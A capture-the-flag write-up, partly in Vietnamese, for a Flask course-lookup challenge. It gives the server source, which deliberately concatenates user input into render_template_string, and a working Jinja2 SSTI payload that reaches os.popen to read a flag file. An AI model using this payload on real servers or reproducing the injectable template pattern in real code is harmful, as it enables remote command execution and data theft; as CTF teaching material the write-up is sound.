Description

RecruitCTF - Course List

I built a site to help me looking up the courses’ name in my curriculum. Check it out!

https://ctf.blackpinker.rocks/assets/cb23239ea5da063672fe76c5430c36874d01b63cd328a26fb3dd75ba9139613b/Course%20List.zip

Approach

Dockerfile:

FROM python:3.10
 
WORKDIR /app
 
COPY src/ .
 
RUN chmod -R 555 /app
 
RUN echo "BPCTF{Fake-flag}" > /passwd.txt
RUN chmod 444 /passwd.txt
 
# RUN pip install --upgrade pip
RUN pip install flask
 
# Set the PORT environment variable
ENV PORT=12350
 
# Make port available to the world outside this container
EXPOSE ${PORT}
 
RUN /usr/sbin/useradd --no-create-home -u 1000 ctf
USER ctf
 
 
CMD ["python3", "app.py"]

File passwd.txt chứa flag nằm ở thư mục /.

Mã nguồn của server:

from flask import Flask, render_template_string, request
import os
 
app = Flask(__name__)
port = int(os.environ.get('PORT', 12350))
 
def get_source_code(course_code, course_name):
    return '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>University Course Information</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }
 
        header {
            background-color: #333;
            color: #fff;
            padding: 10px;
            text-align: center;
        }
 
        section {
            max-width: 800px;
            margin: 20px auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
 
        h2 {
            color: #333;
        }
 
        p {
            color: #666;
        }
 
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
 
        th, td {
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }
 
        th {
            background-color: #f2f2f2;
        }
 
        form {
            margin-top: 20px;
        }
 
        label {
            display: block;
            margin-bottom: 5px;
            color: #333;
        }
 
        input {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
            margin-bottom: 10px;
        }
 
        button {
            background-color: #333;
            color: #fff;
            padding: 10px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
 
        button:hover {
            background-color: #555;
        }
    </style>
</head>
<body>
 
    <header>
        <h1>University Course Information</h1>
    </header>
 
    <section>
        <h2>Computer Science Department</h2>
 
        <form>
            <label for="courseCode">Enter Course Code:</label>
            <input type="text" id="courseCode" name="courseCode" placeholder="e.g., CSC10007">
 
            <button type="submit">Search</button>
        </form>
 
        <table>
            <thead>
                <tr>
                    <th>Course Code</th>
                    <th>Course Name</th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <td>''' + course_code + '''</td>
                    <td>''' + course_name + '''</td>
                </tr>
            </tbody>
        </table>
    </section>
 
</body>
</html>
'''
 
 
def convert_to_dictionary(text: str):
    courses = {}
    lines = text.strip().split('\n')
 
    for line in lines:
        parts = line.split(' - ', 1)
        if len(parts) == 2:
            course_code, course_name = parts
            courses[course_code.strip()] = course_name.strip()
 
    return courses
 
 
courses_raw = open("static/courses.txt", "r").read()
courses_dictionary = convert_to_dictionary(courses_raw)
 
@app.route('/', methods=['GET'])
@app.route('/index.html', methods=['GET'])
def show_course():
    course_code = request.args.get('courseCode')
    if not course_code:
        course_code = "CSC10007"
 
    try:
        course_name = courses_dictionary[str(course_code)]
    except:
        course_name = "That course does not exists."
 
    site = get_source_code(course_code, course_name)
 
    return render_template_string(site)
        
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=port)

Có thể thấy, server truyền thẳng giá trị của query param courseCode vào template bằng cách nối chuỗi. Điều này cho thấy ta có thể thực hiện SSTI (Server Side Template Injection).

Trước tiên thử với payload {{7*7}} thì thu được kết quả như sau:

Thử tiếp với payload sau:

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('cat /passwd.txt').read() }}

Kết quả:

Flag

Success

BPCTF{That_is_server_side_template_injection_173d485b640d}

Resources